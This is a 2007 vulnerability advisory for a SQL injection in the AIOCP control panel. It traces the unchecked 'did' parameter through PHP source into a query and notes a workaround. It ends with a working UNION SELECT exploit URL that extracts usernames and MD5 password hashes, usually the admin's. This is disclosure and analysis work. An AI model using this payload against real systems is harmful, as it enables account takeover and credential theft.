aiocp-sql.txt
Posted on 14 January 2007
[i] Product Name: AIOCP - All In One Control Panel [i] Vulnerable Versions: <= 1.3.009 [i] Bug found by: Coloss [i] Contact: coloss7@gmail.com [i] Date: 9.1.2007 [i] Spec: Parameter 'did' is not checked before it's used in a SQL Query so you are able to inject some evil SQL code Example shows how to retrieve admin MD5 Hash Password [i] Other infos: This works with magic_quotes_gpc = Off If aiocp_downloads database is empty this 'll not work! [i] Workaround: Edit source code to properly check 'did' parameter No official patch is yet available [Analysis] [Step 1] File: AIOCP/public/code/cp_downloads.php 32 if (isset($_REQUEST['did'])) { 33 //display single news 34 F_display_single_download($_REQUEST['did']); 35 } Now check F_display_single_download() function... [Step 2] File: AIOCP/shared/code/cp_functions_downloads.php 680 function F_display_single_download($did) { 681 global $l, $db, $selected_language, $aiocp_dp; 682 683 require_once('../../shared/config/cp_extension.inc'); 684 require_once('../config/cp_config.'.CP_EXT); 685 686 if(F_count_rows(K_TABLE_NEWS)) { //if the table is void (no items) display message 687 echo "<h2>".$l['m_databasempty']."</h2>"; 688 } 689 else { //the table is not empty 690 $wherequery = "WHERE download_id='".$did."'"; 691 F_show_fixed_downloads("", 1, $did, 0, $wherequery, "", "", 0, K_MAX_ROWS_PER_PAGE); 692 } 693 } We notice that $did is passed into $wherequery but it isn't checked... now look F_show_fixed_downloads() [Step 3] File AIOCP/shared/code/cp_functions_downloads.php 698 function F_show_fixed_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage) { 699 global $l, $db, $selected_language, $aiocp_dp; 700 require_once('../../shared/config/cp_extension.inc'); 701 require_once('../config/cp_config.'.CP_EXT); 702 ?> [...] 716 <!-- SHOW downloads ==================== --> 717 <?php 718 F_show_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage); 719 ?> Here $wherequery isn't checked so it's finally passed to "master" function... let's see what happens.. [Step 4] File AIOCP/shared/code/cp_functions_downloads.php 28 function F_show_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage) { 29 global $l, $db, $selected_language; 30 global $term, $submitted, $downloadssearch, $addterms; 31 32 require_once('../../shared/config/cp_extension.inc'); 33 require_once('../config/cp_config.'.CP_EXT); 34 require_once('../../shared/code/cp_functions_page.'.CP_EXT); 35 require_once('../../shared/code/cp_functions_dynamic_pages.'.CP_EXT); 36 require_once('../../shared/code/cp_functions_form.'.CP_EXT); [...] 60 if (isset($download_category) AND (strlen($download_category)>0) AND ($download_category==0)) { //select all categories 61 $wherequery = "WHERE 1"; [A] 62 } [...] 64 if( (!$download_category) AND (!$wherequery) ) { // select category [B] [...] 76 if($download_category) { [C] 106 if (!$wherequery) { [D] 107 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage.""; 108 } 109 else { [E] 110 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ".$wherequery." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage.""; 111 } Well let's analyze this few cases... [A] Well we have not $download_category definied so this 'll not be executed [B] We have definied $wherequery [C] Same as point A [D] Same as point B [E] This is it! $wherequery is used in the SQL query without any check... so we can inject some evil SQL code... [POC] http://www.example.org/AIOCP/public/code/cp_downloads.php?did=[sql] [Exploit Example] http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous This 'll show user ID, Name and MD5 Hash Password of the first user after 'Anonymous' user (usually the admin user)